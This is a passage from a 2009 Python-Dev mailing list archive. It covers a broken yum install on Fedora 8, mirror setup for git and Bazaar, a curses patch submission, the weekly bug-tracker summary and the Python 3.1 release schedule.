Date: Fri, 27 Feb 2009 20:38:43 +0530 Subject: require python rpms for fc8 HI , 2 or 3 different python versions are installed in my machine ( fc8 ) , I have removed and reinstalled python-2.3.5 (tar archive only) for some reasons , from that time onwards I was not able to use "yum " command , and it is throwing an error as " problem importing one of the python modules " bash-3.2# yum There was a problem importing one of the Python modules required to run yum. The error leading to this problem was: No module named yum Please install a package which provides this module, or verify that the module is installed correctly. It's possible that the above module doesn't match the current version of Python, which is: 2.3.5 (#1, Mar 20 2005, 15:45:23) [GCC 3.4.2 20041017 (Red Hat 3.4.2-6.fc3)] If you cannot solve this problem yourself, please go to the yum faq at: http://wiki.linux.duke.edu/YumFaq bash-3.2# python -V Python 2.3.5 --> I tried to install the python through source but of no use , whatever the python version may be , it is showing same error , I didn't get any python rpms form the site http://python.org/... even I tried to use rpmbuild using python tar files , but it is giving error , [shashi at shashi SPECS]$ sudo rpmbuild -bb python-2.3.spec Executing(%prep): /bin/sh -e /var/tmp/rpm-tmp.59931 + umask 022 + cd /home/shashi/redhat/BUILD + LANG=C + export LANG + unset DISPLAY + cd /home/shashi/redhat/BUILD + rm -rf Python-2.3.5 + /usr/bin/bzip2 -dc /home/shashi/redhat/SOURCES/Python-2.3.5.tgz + tar -xvvf - -rw-rw-r-- shashi/shashi 36259840 2009-02-27 16:40 Python-2.3.5.tar + STATUS=0 + '[' 0 -ne 0 ']' + cd Python-2.3.5 /var/tmp/rpm-tmp.59931: line 33: cd: Python-2.3.5: No such file or directory error: Bad exit status from /var/tmp/rpm-tmp.59931 (%prep) RPM build errors: Bad exit status from /var/tmp/rpm-tmp.59931 (%prep) [shashi at shashi SPECS]$ cp ~/Desktop/Python-2. Python-2.3.5/ Python-2.3.5.tar Python-2.3.5.tar.bz2 Python-2.3.5.tgz Python-2.6.1/ [shashi at shashi SPECS]$ cp ~/Desktop/Python-2.3.5.tar.bz2 ../SOURCES/ Crypt-OpenSSL-RSA-0.25.tar.gz java-1.6.0-sun-compat-unregister-java-fonts.xsl openssl-0.9.8j.tar.gz java-1.5.0-sun-compat-register-java-fonts.xsl jdk-1_5_0_14-linux-i586.bin Python-2.3.5.tgz java-1.5.0-sun-compat-unregister-java-fonts.xsl jdk-6u6-linux-i586-rpm.bin java-1.6.0-sun-compat-register-java-fonts.xsl openssl-0.9.8g-9.12.fc9.i386.rpm [shashi at shashi SPECS]$ cp ~/Desktop/Python-2.3.5.tar.bz2 ../SOURCES/. [shashi at shashi SPECS]$ sudo rpmbuild -bb python-2.3.spec Executing(%prep): /bin/sh -e /var/tmp/rpm-tmp.72526 + umask 022 + cd /home/shashi/redhat/BUILD + LANG=C + export LANG + unset DISPLAY + cd /home/shashi/redhat/BUILD + rm -rf Python-2.3.5 + /usr/bin/bzip2 -dc /home/shashi/redhat/SOURCES/Python-2.3.5.tgz + tar -xvvf - -rw-rw-r-- shashi/shashi 36259840 2009-02-27 16:40 Python-2.3.5.tar + STATUS=0 + '[' 0 -ne 0 ']' + cd Python-2.3.5 /var/tmp/rpm-tmp.72526: line 33: cd: Python-2.3.5: No such file or directory error: Bad exit status from /var/tmp/rpm-tmp.72526 (%prep) RPM build errors: Bad exit status from /var/tmp/rpm-tmp.72526 (%prep) [shashi at shashi SPECS]$ [shashi at shashi SPECS]$ [shashi at shashi SPECS]$ cp ~/Desktop/Python-2.3.5 ../SOURCES/. Python-2.3.5/ Python-2.3.5.tar Python-2.3.5.tar.bz2 Python-2.3.5.tgz [shashi at shashi SPECS]$ cp -r ~/Desktop/Python-2.3.5 ../SOURCES/. [shashi at shashi SPECS]$ sudo rpmbuild -bb python-2.3.spec Executing(%prep): /bin/sh -e /var/tmp/rpm-tmp.63171 + umask 022 + cd /home/shashi/redhat/BUILD + LANG=C + export LANG + unset DISPLAY + cd /home/shashi/redhat/BUILD + rm -rf Python-2.3.5 + /usr/bin/bzip2 -dc /home/shashi/redhat/SOURCES/Python-2.3.5.tgz + tar -xvvf - -rw-rw-r-- shashi/shashi 36259840 2009-02-27 16:40 Python-2.3.5.tar + STATUS=0 + '[' 0 -ne 0 ']' + cd Python-2.3.5 /var/tmp/rpm-tmp.63171: line 33: cd: Python-2.3.5: No such file or directory error: Bad exit status from /var/tmp/rpm-tmp.63171 (%prep) RPM build errors: Bad exit status from /var/tmp/rpm-tmp.63171 (%prep) [shashi at shashi SPECS]$ ---> My purpose is to run "yum" which will make use of the correct python module it requires , Even I tried reinstalling the new yum packages but it is giving same python module problem only Plz suggest a solution to have a proper python version ( to run "yum" command) which suits fc8 and to remove all the other available python versions Thanks & Regards , shashidhar -------------- next part -------------- An HTML attachment was scrubbed... URL: From chris at simplistix.co.uk Fri Feb 27 17:26:51 2009 From: chris at simplistix.co.uk (Chris Withers) Date: Fri, 27 Feb 2009 16:26:51 +0000 Subject: [Python-Dev] How do I get commit access? In-Reply-To: <064BBADB-B9EB-4545-A88C-A5C736FFD1D6@python.org> References: <49A7A906.8000008@simplistix.co.uk> <0F0CFC42EDFF4BA290BFDFC67E5EC056@RaymondLaptop1> <49A7AD8C.5030209@simplistix.co.uk> <064BBADB-B9EB-4545-A88C-A5C736FFD1D6@python.org> Message-ID: <49A8144B.1030305@simplistix.co.uk> Barry Warsaw wrote: > Chris, are you going to be at Pycon? I'm sorry I haven't had time to > review email package changes. I will try to take a look this weekend, > but if you're going to be at Pycon perhaps we can find some sprinting time? Sure, I'm around for the whole conference once I'm done giving my tutorial. I fly out Monday 30th in the afternoon, so any time before then. The one currently causing me to scream is why a MIME Multipart container which has a MIMText containing html and a MIMEBase containing a PDF added to it ends up with a Content-Transfer-Encoding of quoted-printable. Should it even have a Content-Transfer-Encoding header given that it has no text of its own? Where would I look to see where this header gets generated in Python 2.4.4? (the problem is that this is in violation of RFC2045 and makes some MTAs do stupid things that result in blank messages arriving: http://docs.sun.com/app/docs/doc/819-4428/geuxh?a=view) cheers, Chris -- Simplistix - Content Management, Zope & Python Consulting - http://www.simplistix.co.uk From status at bugs.python.org Fri Feb 27 18:06:55 2009 From: status at bugs.python.org (Python tracker) Date: Fri, 27 Feb 2009 18:06:55 +0100 (CET) Subject: [Python-Dev] Summary of Python tracker Issues Message-ID: <20090227170655.DE3A178101@psf.upfronthosting.co.za> ACTIVITY SUMMARY (02/20/09 - 02/27/09) Python tracker at http://bugs.python.org/ To view or respond to any of the issues listed below, click on the issue number. Do NOT respond to this message. 2363 open (+33) / 14843 closed (+19) / 17206 total (+52) Open issues with patches: 825 Average duration of open issues: 657 days. Median duration of open issues: 394 days. Open Issues Breakdown open 2337 (+33) pending 26 ( +0) Issues Created Or Reopened (52) _______________________________ csv sniffer 02/20/09 http://bugs.python.org/issue5332 created LambertDW patch os.kill() inconsistency 02/20/09 CLOSED http://bugs.python.org/issue5333 created giampaolo.rodola array.fromfile() fails to insert values when EOFError is raised 02/21/09 http://bugs.python.org/issue5334 created zmedico patch mmap can crash with tagname (on windows) 02/21/09 CLOSED http://bugs.python.org/issue5335 created ocean-city patch collections.namedtuple generates code causing PyChecker warnings 02/21/09 http://bugs.python.org/issue5336 created mbessonov Scanner class in re module undocumented 02/21/09 http://bugs.python.org/issue5337 created mfoord Typo in Python/C API sect 1.2.1 02/21/09 CLOSED http://bugs.python.org/issue5338 created aydt Typo in Python/C API Chapter 2 02/21/09 CLOSED http://bugs.python.org/issue5339 created aydt Change in cgi behavior breaks existing software 02/21/09 http://bugs.python.org/issue5340 created bkline A selection of spelling errors and typos throughout source 02/21/09 CLOSED http://bugs.python.org/issue5341 created marketdickinson patch distutils removing old files, deleting unneeded old files from i 02/21/09 http://bugs.python.org/issue5342 created illume remove or make work pdb retval and rv 02/22/09 http://bugs.python.org/issue5343 created rocky typo in what's new in 2.6 02/22/09 CLOSED http://bugs.python.org/issue5344 created quiver patch, patch cStringIO class name typo 02/22/09 http://bugs.python.org/issue5345 created qwjqwj mailbox._singlefileMailbox.flush doesn't preserve file rights 02/22/09 http://bugs.python.org/issue5346 created wRAR SocketIO redefines RawIOBase.__del__ 02/22/09 http://bugs.python.org/issue5347 created pitrou Documentation of format implies only strings and numbers are acc 02/23/09 CLOSED http://bugs.python.org/issue5348 created MLModel abstractmethod vs C++ pure virtual 02/23/09 CLOSED http://bugs.python.org/issue5349 created jaredgrubb Modification to "pairwise" in itertools recipes 02/23/09 CLOSED http://bugs.python.org/issue5350 created della Python tutorial error 02/23/09 http://bugs.python.org/issue5351 created Tsuedesu Missing 'non overlapping' clause in str.count documentation 02/23/09 CLOSED http://bugs.python.org/issue5352 created della Improve IndexError messages with actual values 02/23/09 http://bugs.python.org/issue5353 created tjreedy Add test.support.import_python_only 02/23/09 http://bugs.python.org/issue5354 created ncoghlan Expat parser error constants are string descriptions 02/23/09 http://bugs.python.org/issue5355 created suraj Use of the `curses' resource not enabled 02/24/09 CLOSED http://bugs.python.org/issue5356 created steve at integrityintegrators.net Last paragraph of urllib.request.urlopen documentation is garble 02/24/09 CLOSED http://bugs.python.org/issue5357 created MLModel Unicode control characters are not allowed as identifiers 02/24/09 http://bugs.python.org/issue5358 created baijum _dbm extension only built using gdbm on linux 02/24/09 http://bugs.python.org/issue5359 created doko RO (shorthand for READONLY) gone, not in documentation 02/24/09 http://bugs.python.org/issue5360 created R??mi Obsolete mispelled in string formatting docs 02/24/09 CLOSED http://bugs.python.org/issue5361 created stevenjd Add configure option to disable Py3k warnings 02/24/09 http://bugs.python.org/issue5362 created collinwinter patch, patch, needs review Documentation of filecmp.compfiles missing word & possible expla 02/25/09 CLOSED http://bugs.python.org/issue5363 created MLModel documentation in epub format 02/25/09 http://bugs.python.org/issue5364 created wrobell add conversion table to time module docs 02/25/09 CLOSED http://bugs.python.org/issue5365 created cvrebert setupscript examples for dependency keywords in setup.py 02/25/09 CLOSED http://bugs.python.org/issue5366 created techtonik patch typo in subprocess.py 02/25/09 CLOSED http://bugs.python.org/issue5367 created ott-- curses patch add color_set and wcolor_set , and addchstr family 02/25/09 http://bugs.python.org/issue5368 created steve at integrityintegrators.net patch __ppc__ macro checking is incorrect 02/25/09 http://bugs.python.org/issue5369 created arekm unpickling vs. __getattr__ 02/25/09 http://bugs.python.org/issue5370 created mwm Documentation of str.format in library/stdtypes shows incorrect 02/25/09 CLOSED http://bugs.python.org/issue5371 created MLModel Distutils inappropriately reuses .o files between extension modu 02/26/09 http://bugs.python.org/issue5372 created collinwinter patch, patch, needs review TypeError when '\x00' in docstring 02/26/09 http://bugs.python.org/issue5373 created noel.cuillandre optparse special usage tokens conflict with formatting character 02/26/09 CLOSED http://bugs.python.org/issue5374 created andybuckley Unified locals/consts array + register-based instructions 02/26/09 http://bugs.python.org/issue5375 created pitrou Wrong ImportError message if module is not readable 02/26/09 http://bugs.python.org/issue5376 created haypo Strange behavior when performing int on a Decimal made from -sys 02/26/09 http://bugs.python.org/issue5377 created debedb adding --quiet to bdist_rpm 02/26/09 http://bugs.python.org/issue5378 created tarek Multicast example mcast.py is outdated and ugly 02/27/09 http://bugs.python.org/issue5379 created phihag patch pty.read raises IOError when slave pty device is closed 02/27/09 http://bugs.python.org/issue5380 created zmedico json need object_pairs_hook 02/27/09 http://bugs.python.org/issue5381 created rhettinger patch Allow Python keywords as keyword arguments for functions. 02/27/09 http://bugs.python.org/issue5382 created Imagist Allow intermixing of keyword arguments and vargarg arguments 02/27/09 http://bugs.python.org/issue5383 created Imagist Issues Now Closed (34) ______________________ re module needs to support bytes / memoryview well 495 days http://bugs.python.org/issue1282 benjamin.peterson Windows base64 Decode 192 days http://bugs.python.org/issue3595 haypo Parsing XML file with Unicode characters causes problem 173 days http://bugs.python.org/issue3742 benjamin.peterson Cannot build _multiprocessing, math, mmap and readline of Python 120 days http://bugs.python.org/issue4204 zvezdan patch Build fails at running build_scripts 79 days http://bugs.python.org/issue4524 tarek patch, needs review Mark distutils to stay compatible with 2.3 33 days http://bugs.python.org/issue5052 tarek patch tkinter.scrolledtext: new text is hidden after using insert() 15 days http://bugs.python.org/issue5163 gpolo Special-case string formatting in BINARY_MODULO implementation 14 days http://bugs.python.org/issue5176 collinwinter patch, patch, needs review _resolve_name in importlib/__init__.py left an index on rindex u 16 days http://bugs.python.org/issue5213 brett.cannon patch, easy Documentation for super() neglects to say what super() actually 13 days http://bugs.python.org/issue5229 rhettinger socket timeouts even in blocking mode 3 days http://bugs.python.org/issue5293 techtonik turtle.py "dicionary" spelling patch 3 days http://bugs.python.org/issue5295 marketdickinson Buildbot failures in test_site 6 days http://bugs.python.org/issue5316 tarek patch Crash when doing some list iteration 2 days http://bugs.python.org/issue5328 benjamin.peterson os.kill() inconsistency 0 days http://bugs.python.org/issue5333 giampaolo.rodola mmap can crash with tagname (on windows) 3 days http://bugs.python.org/issue5335 ocean-city patch Typo in Python/C API sect 1.2.1 0 days http://bugs.python.org/issue5338 georg.brandl Typo in Python/C API Chapter 2 0 days http://bugs.python.org/issue5339 georg.brandl A selection of spelling errors and typos throughout source 1 days http://bugs.python.org/issue5341 marketdickinson patch typo in what's new in 2.6 5 days http://bugs.python.org/issue5344 georg.brandl patch, patch Documentation of format implies only strings and numbers are acc 1 days http://bugs.python.org/issue5348 MLModel abstractmethod vs C++ pure virtual 0 days http://bugs.python.org/issue5349 georg.brandl Modification to "pairwise" in itertools recipes 0 days http://bugs.python.org/issue5350 della Missing 'non overlapping' clause in str.count documentation 0 days http://bugs.python.org/issue5352 georg.brandl Use of the `curses' resource not enabled 0 days http://bugs.python.org/issue5356 benjamin.peterson Last paragraph of urllib.request.urlopen documentation is garble 4 days http://bugs.python.org/issue5357 georg.brandl Obsolete mispelled in string formatting docs 3 days http://bugs.python.org/issue5361 georg.brandl Documentation of filecmp.compfiles missing word & possible expla 2 days http://bugs.python.org/issue5363 georg.brandl add conversion table to time module docs 2 days http://bugs.python.org/issue5365 georg.brandl setupscript examples for dependency keywords in setup.py 1 days http://bugs.python.org/issue5366 tarek patch typo in subprocess.py 0 days http://bugs.python.org/issue5367 benjamin.peterson Documentation of str.format in library/stdtypes shows incorrect 0 days http://bugs.python.org/issue5371 benjamin.peterson optparse special usage tokens conflict with formatting character 0 days http://bugs.python.org/issue5374 draghuram SRE bugs with capturing groups in negative assertions 2135 days http://bugs.python.org/issue725149 georg.brandl Top Issues Most Discussed (10) ______________________________ 16 Use shorter float repr when possible 445 days open http://bugs.python.org/issue1580 14 Rewrite the IO stack in C 83 days open http://bugs.python.org/issue4565 14 Add named tuple reader to CSV module 411 days open http://bugs.python.org/issue1818 8 Strange behavior when performing int on a Decimal made from -sy 1 days open http://bugs.python.org/issue5377 8 curses patch add color_set and wcolor_set , and addchstr family 2 days open http://bugs.python.org/issue5368 7 Documentation for super() neglects to say what super() actually 13 days closed http://bugs.python.org/issue5229 7 Installed but not listed *.pyo break bdist_rpm 940 days open http://bugs.python.org/issue1533164 6 Modification to "pairwise" in itertools recipes 0 days closed http://bugs.python.org/issue5350 6 PyUnicode_FromWideChar incorrect for characters outside the BMP 89 days open http://bugs.python.org/issue4474 5 Unicode control characters are not allowed as identifiers 3 days open http://bugs.python.org/issue5358 From aahz at pythoncraft.com Fri Feb 27 18:10:00 2009 From: aahz at pythoncraft.com (Aahz) Date: Fri, 27 Feb 2009 09:10:00 -0800 Subject: [Python-Dev] Fwd: require python rpms for fc8 In-Reply-To: <8baedd360902270807x567c6627wf292e60c76893c22@mail.gmail.com> References: <8baedd360902270751g49fd24dei1a05b5509c2d153a@mail.gmail.com> <8baedd360902270807x567c6627wf292e60c76893c22@mail.gmail.com> Message-ID: <20090227171000.GA1716@panix.com> On Fri, Feb 27, 2009, shashidhar velagandula wrote: > > [...] python-dev is the wrong place for this kind of question, please use comp.lang.python In addition, it's not even clear what your question is, please see http://www.catb.org/~esr/faqs/smart-questions.html -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ Weinberg's Second Law: If builders built buildings the way programmers wrote programs, then the first woodpecker that came along would destroy civilization. From skip at pobox.com Fri Feb 27 18:35:10 2009 From: skip at pobox.com (skip at pobox.com) Date: Fri, 27 Feb 2009 11:35:10 -0600 Subject: [Python-Dev] How do I get commit access? In-Reply-To: References: <49A7A906.8000008@simplistix.co.uk> <0F0CFC42EDFF4BA290BFDFC67E5EC056@RaymondLaptop1> <49A7AD8C.5030209@simplistix.co.uk> <49A7B501.4070508@simplistix.co.uk> Message-ID: <18856.9294.373185.493616@montanaro.dyndns.org> Christian> CPython has a stricter policy than most other Python related Christian> projects. Indeed. I'd be willing to grant you checkin privileges for SpamBayes simply because because Christian recognized you and you seem willing to roll up your sleeves. Do you do Windows? Skip From barry at python.org Fri Feb 27 20:00:39 2009 From: barry at python.org (Barry Warsaw) Date: Fri, 27 Feb 2009 14:00:39 -0500 Subject: [Python-Dev] Instructions on using git mirror In-Reply-To: <20090227154817.GB24580@arctrix.com> References: <20090227052116.GA18994@arctrix.com> <20090227154817.GB24580@arctrix.com> Message-ID: <2778C919-3351-4B89-B450-3D59F87A3485@python.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Feb 27, 2009, at 10:48 AM, Neil Schemenauer wrote: > On Fri, Feb 27, 2009 at 08:36:08AM -0600, Brad Miller wrote: >> when I get to the step git svn fetch I get the following error: >> zsh-% git svn fetch >> Permission denied (publickey). >> Network connection closed unexpectedly: Connection closed >> unexpectedly at >> /opt/local/bin/git-svn line 1385 >> >> >> Is there a prerequisite that I get some kind of ssh key pair setup >> with the >> svn repository? I thought that was only for committers. > > Sorry, the instructions don't work for read-only access. I've > updated them. You need to use: > > git svn init http://svn.python.org/projects/python/trunk > > for read-only access to SVN. We should probably put these, and the Mercurial information on the python.org website, perhaps as siblings of the Bazaar information. Or maybe it should all move to the wiki. Barry -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (Darwin) iQCVAwUBSag4V3EjvBPtnXfVAQLTMQP9EUHzd+C0aOdwISI3ckTz2aZxyWhM2/M3 yyBY8/WTEa2gJbFePX6Qk+JS33/B3FYbcKRBpjfKlaTp9DLlVdSZoQ2sA/gD27sE 82SxuxbjnjtR+513xIX2P1WflOA1SxpfKgOs9c4Gxkuee1eUgv2A5LKX5PlaE/oX sPKVgQk7hw0= =/Ipw -----END PGP SIGNATURE----- From barry at python.org Fri Feb 27 20:26:20 2009 From: barry at python.org (Barry Warsaw) Date: Fri, 27 Feb 2009 14:26:20 -0500 Subject: [Python-Dev] Attention Bazaar mirror users In-Reply-To: <5c6f2a5d0902251103o44e28af5ha3b9c318cdeb8cd4@mail.gmail.com> References: <97B7A93A-B66D-44D1-8E69-2B78CFD50881@python.org> <75B5025E-0A05-4642-90A7-CD8B9C7A2B23@python.org> <5c6f2a5d0902251103o44e28af5ha3b9c318cdeb8cd4@mail.gmail.com> Message-ID: <28B6A2AC-0D78-4597-BF0D-D139616DA61C@python.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Feb 25, 2009, at 2:03 PM, Mark Dickinson wrote: > On Wed, Feb 25, 2009 at 2:23 PM, Barry Warsaw > wrote: >> This is now done. Please let me know if you have any problems with >> the >> mirrors. > > Is the cron job that's supposed to update the bzr repository still > running? > I'm getting 'No revisions to pull' when I do 'bzr pull' for the py3k > branch: > > Macintosh-3:py3k dickinsm$ bzr pull > Using saved parent location: http://code.python.org/python/py3k/ > No revisions to pull. > > ...which is a bit surprising, since my last 'bzr pull' was a while > ago. > Do I need to update something somewhere? > > I'm using bzr version 1.11 from macports. I think I have this fixed now. The branch updater is running on dinsdale now, but I'm currently staggering it, so that every 5 minutes the 2.5, 2.6, trunk, py3k and 3.0 branches get updated in a round-robin. Please let me know if you have any problems. Barry -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (Darwin) iQCVAwUBSag+XnEjvBPtnXfVAQKvXQQAksvzqrpWozugl0k1DRuRs9f+QZzcJCK9 gzC+6rCdLdOxQy4AOXip+qmQcL5+EGM7hxjo/0sSSEVswZY69tTgmcuFP1BPmg5e D+7FRfF0cFA2y2TG527fQxZMch3TnkVahe3owVdQa19zwRDjwx4ivB4xOwgXamWn MEmXG0u7ye4= =l2T9 -----END PGP SIGNATURE----- From dickinsm at gmail.com Fri Feb 27 20:51:01 2009 From: dickinsm at gmail.com (Mark Dickinson) Date: Fri, 27 Feb 2009 19:51:01 +0000 Subject: [Python-Dev] Attention Bazaar mirror users In-Reply-To: <28B6A2AC-0D78-4597-BF0D-D139616DA61C@python.org> References: <97B7A93A-B66D-44D1-8E69-2B78CFD50881@python.org> <75B5025E-0A05-4642-90A7-CD8B9C7A2B23@python.org> <5c6f2a5d0902251103o44e28af5ha3b9c318cdeb8cd4@mail.gmail.com> <28B6A2AC-0D78-4597-BF0D-D139616DA61C@python.org> Message-ID: <5c6f2a5d0902271151v637205c6pc906d9179499a608@mail.gmail.com> On Fri, Feb 27, 2009 at 7:26 PM, Barry Warsaw wrote: > On Feb 25, 2009, at 2:03 PM, Mark Dickinson wrote: >> Is the cron job that's supposed to update the bzr repository still >> running? > I think I have this fixed now. ?The branch updater is running on dinsdale > now, but I'm currently staggering it, so that every 5 minutes the 2.5, 2.6, > trunk, py3k and 3.0 branches get updated in a round-robin. Seems to be working for me. Thanks! Mark From brett at python.org Fri Feb 27 21:31:53 2009 From: brett at python.org (Brett Cannon) Date: Fri, 27 Feb 2009 12:31:53 -0800 Subject: [Python-Dev] Instructions on using git mirror In-Reply-To: <2778C919-3351-4B89-B450-3D59F87A3485@python.org> References: <20090227052116.GA18994@arctrix.com> <20090227154817.GB24580@arctrix.com> <2778C919-3351-4B89-B450-3D59F87A3485@python.org> Message-ID: On Fri, Feb 27, 2009 at 11:00, Barry Warsaw wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > On Feb 27, 2009, at 10:48 AM, Neil Schemenauer wrote: > > On Fri, Feb 27, 2009 at 08:36:08AM -0600, Brad Miller wrote: >> >>> when I get to the step git svn fetch I get the following error: >>> zsh-% git svn fetch >>> Permission denied (publickey). >>> Network connection closed unexpectedly: Connection closed unexpectedly at >>> /opt/local/bin/git-svn line 1385 >>> >>> >>> Is there a prerequisite that I get some kind of ssh key pair setup with >>> the >>> svn repository? I thought that was only for committers. >>> >> >> Sorry, the instructions don't work for read-only access. I've >> updated them. You need to use: >> >> git svn init http://svn.python.org/projects/python/trunk >> >> for read-only access to SVN. >> > > We should probably put these, and the Mercurial information on the > python.org website, perhaps as siblings of the Bazaar information. Or > maybe it should all move to the wiki. Until we are willing to say these mirrors are not experimental all the instructions should probably go in the wiki. -Brett -------------- next part -------------- An HTML attachment was scrubbed... URL: From steve at integrityintegrators.net Fri Feb 27 21:45:36 2009 From: steve at integrityintegrators.net (Heracles) Date: Fri, 27 Feb 2009 12:45:36 -0800 (PST) Subject: [Python-Dev] Patch Ready for review Message-ID: <22254109.post@talk.nabble.com> I have a patch submitted, with docs changes etc. The patch is to the curses library module, and adds support for color_set, addchstr, addchnstr, mvaddchstr, mvaddchnstr, mvwaddchstr, mvwaddchnstr, waddchstr, and waddchnstr. I am wondering what to expect next. How long will it be before it is applied etc. This is my first attempt to submit a patch to Python. Also, does anyone know who the main person is for running changes to the curses library I wanted to get guidance for implementing support for family of functions newterm, set_term, reset_term. The main question I have is to support these functions consistently, would it be recommended to implement a new Python Screen object? -- View this message in context: http://www.nabble.com/Patch-Ready-for-review-tp22254109p22254109.html Sent from the Python - python-dev mailing list archive at Nabble.com. From steve at integrityintegrators.net Fri Feb 27 21:48:03 2009 From: steve at integrityintegrators.net (Heracles) Date: Fri, 27 Feb 2009 12:48:03 -0800 (PST) Subject: [Python-Dev] Adding support to curses library In-Reply-To: <20090226215838.GA16478@amk-desktop.matrixgroup.net> References: <22191916.post@talk.nabble.com> <22203899.post@talk.nabble.com> <20090225153417.GA9321@amk-desktop.matrixgroup.net> <20090226215838.GA16478@amk-desktop.matrixgroup.net> Message-ID: <22254150.post@talk.nabble.com> Ok, I think I have followed the process and submitted the patch via bug tracker. I also note that you have made some minor changes to the issue. The patch is ready for review and feedback. Thanks for your help. A.M. Kuchling wrote: > > On Wed, Feb 25, 2009 at 01:52:29PM -0800, steve at integrityintegrators.net > wrote: >> Are you up for helping a little more? > > Sure, but please open an issue on http://bugs.python.org for this; > back-and-forth over a particular patch is done in the bug tracker, not > the python-dev mailing list. http://www.python.org/dev/ discusses how > development is done. > > We also don't send around modified > copies of entire files; http://www.python.org/dev/faq/#patches > discusses how to make patches. > > --amk > > > > _______________________________________________ > Python-Dev mailing list > Python-Dev at python.org > http://mail.python.org/mailman/listinfo/python-dev > Unsubscribe: > http://mail.python.org/mailman/options/python-dev/lists%40nabble.com > > -- View this message in context: http://www.nabble.com/Adding-support-to-curses-library-tp22191916p22254150.html Sent from the Python - python-dev mailing list archive at Nabble.com. From martin at v.loewis.de Fri Feb 27 21:51:53 2009 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Fri, 27 Feb 2009 21:51:53 +0100 Subject: [Python-Dev] Patch Ready for review In-Reply-To: <22254109.post@talk.nabble.com> References: <22254109.post@talk.nabble.com> Message-ID: <49A85269.4000601@v.loewis.de> > I am wondering what to expect next. How long will it be before it is > applied etc. This is my first attempt to submit a patch to Python. Unfortunately, it may take any time between a day and five years, see below. > Also, does anyone know who the main person is for running changes to the > curses library I wanted to get guidance for implementing support for family > of functions newterm, set_term, reset_term. The curses module is largely unmaintained; nobody is really responsible for it (my feeling is that it also has fairly few users). Use "svn log" to find out what people have been making changes over time; if the commit messages indicate that they had applied patches from the bug tracker, also try to recognize any regular non-commit contributors. Regards, Martin From solipsis at pitrou.net Fri Feb 27 22:12:30 2009 From: solipsis at pitrou.net (Antoine Pitrou) Date: Fri, 27 Feb 2009 21:12:30 +0000 (UTC) Subject: [Python-Dev] draft 3.1 release schedule References: <1afaf6160902141229p2c10bba1i9acd7c61149f156e@mail.gmail.com> <1afaf6160902151523k6ca3bd9bwab7eea0ee13aeaa3@mail.gmail.com> Message-ID: Benjamin, > > You might also want to collect a list of serious changes that you want > > in this release; I know I/O in C is on the list (and without it I > > wouldn't consider it worth releasing) but there may be others. The > > developers of such features ought to be on board with delivering their > > code before the first beta. > > I've started a list on the release PEP [1]. > > [1] http://www.python.org/dev/peps/pep-0375/ I think you could add "update json package to reflect the current simplejson version" (see http://bugs.python.org/issue4136). cheers Antoine. From python at rcn.com Fri Feb 27 22:30:14 2009 From: python at rcn.com (Raymond Hettinger) Date: Fri, 27 Feb 2009 13:30:14 -0800 Subject: [Python-Dev] draft 3.1 release schedule References: <1afaf6160902141229p2c10bba1i9acd7c61149f156e@mail.gmail.com><1afaf6160902151523k6ca3bd9bwab7eea0ee13aeaa3@mail.gmail.com> Message-ID: <24B768ED78474E5C84694DB5DD12021A@RaymondLaptop1> >> > You might also want to collect a list of serious changes that you want >> > in this release; I know I/O in C is on the list (and without it I >> > wouldn't consider it worth releasing) but there may be others. The >> > developers of such features ought to be on board with delivering their >> > code before the first beta. >> >> I've started a list on the release PEP [1]. >> >> [1] http://www.python.org/dev/peps/pep-0375/ > > I think you could add "update json package to reflect the current simplejson > version" (see http://bugs.python.org/issue4136). Also, I'm expecting that ordered dictionaries will be ready: http://www.python.org/dev/peps/pep-0372/ Raymond From benjamin at python.org Fri Feb 27 22:54:06 2009 From: benjamin at python.org (Benjamin Peterson) Date: Fri, 27 Feb 2009 15:54:06 -0600 Subject: [Python-Dev] draft 3.1 release schedule In-Reply-To: <24B768ED78474E5C84694DB5DD12021A@RaymondLaptop1> References: <1afaf6160902141229p2c10bba1i9acd7c61149f156e@mail.gmail.com> <1afaf6160902151523k6ca3bd9bwab7eea0ee13aeaa3@mail.gmail.com> <24B768ED78474E5C84694DB5DD12021A@RaymondLaptop1> Message-ID: <1afaf6160902271354hc8a00a7m378692efb568d006@mail.gmail.com> 2009/2/27 Raymond Hettinger : > >>> > You might also want to collect a list of serious changes that you want >>> > in this release; I know I/O in C is on the list (and without it I >>> > wouldn't consider it worth releasing) but there may be others. The >>> > developers of such features ought to be on board with delivering their >>> > code before the first beta. >>> >>> I've started a list on the release PEP [1]. >>> >>> [1] http://www.python.org/dev/peps/pep-0375/ >> >> I think you could add "update json package to reflect the current >> simplejson >> version" (see http://bugs.python.org/issue4136). > > Also, I'm expecting that ordered dictionaries will be ready: > ?http://www.python.org/dev/peps/pep-0372/ Thanks. I've added these items to the PEP. -- Regards, Benjamin From barry at python.org Fri Feb 27 23:19:33 2009 From: barry at python.org (Barry Warsaw) Date: Fri, 27 Feb 2009 17:19:33 -0500 Subject: [Python-Dev] Instructions on using git mirror In-Reply-To: References: <20090227052116.GA18994@arctrix.com> <20090227154817.GB24580@arctrix.com> <2778C919-3351-4B89-B450-3D59F87A3485@python.org> Message-ID: <61339809-37B9-42FD-AFA5-4FBB82BB422C@python.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Feb 27, 2009, at 3:31 PM, Brett Cannon wrote: > Until we are willing to say these mirrors are not experimental all > the instructions should probably go in the wiki. Where's a good place for this? I'm thinking three bullets under "Core Development" on this page: http://wiki.python.org/moin/ I certainly don't want to spend my weekend moving all the dev resources into the wiki, but I'd be willing to set up these bullets, move the bazaar pages to the wiki, and set up the redirect. Then the hg and git folks can fill out there own links. Thoughts? Barry -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (Darwin) iQCVAwUBSahm9XEjvBPtnXfVAQKYTwP/QzLWj5E8zrqwh2Wd50imAdbtricUEOOX 32r2vSMZ0P4LwFuIKHSFNT3FLsn1p254Os0tD/05RAVEvVxuOkd9w7Hn+Vn75yG2 trkK356ESUfJFtGttFUhXD6z2fpKP23u+dZV/OtDQWqpZSg59wkDLTtu6XfGToYN 7gVJ5+2xkZ4= =92Xd -----END PGP SIGNATURE----- From dripton 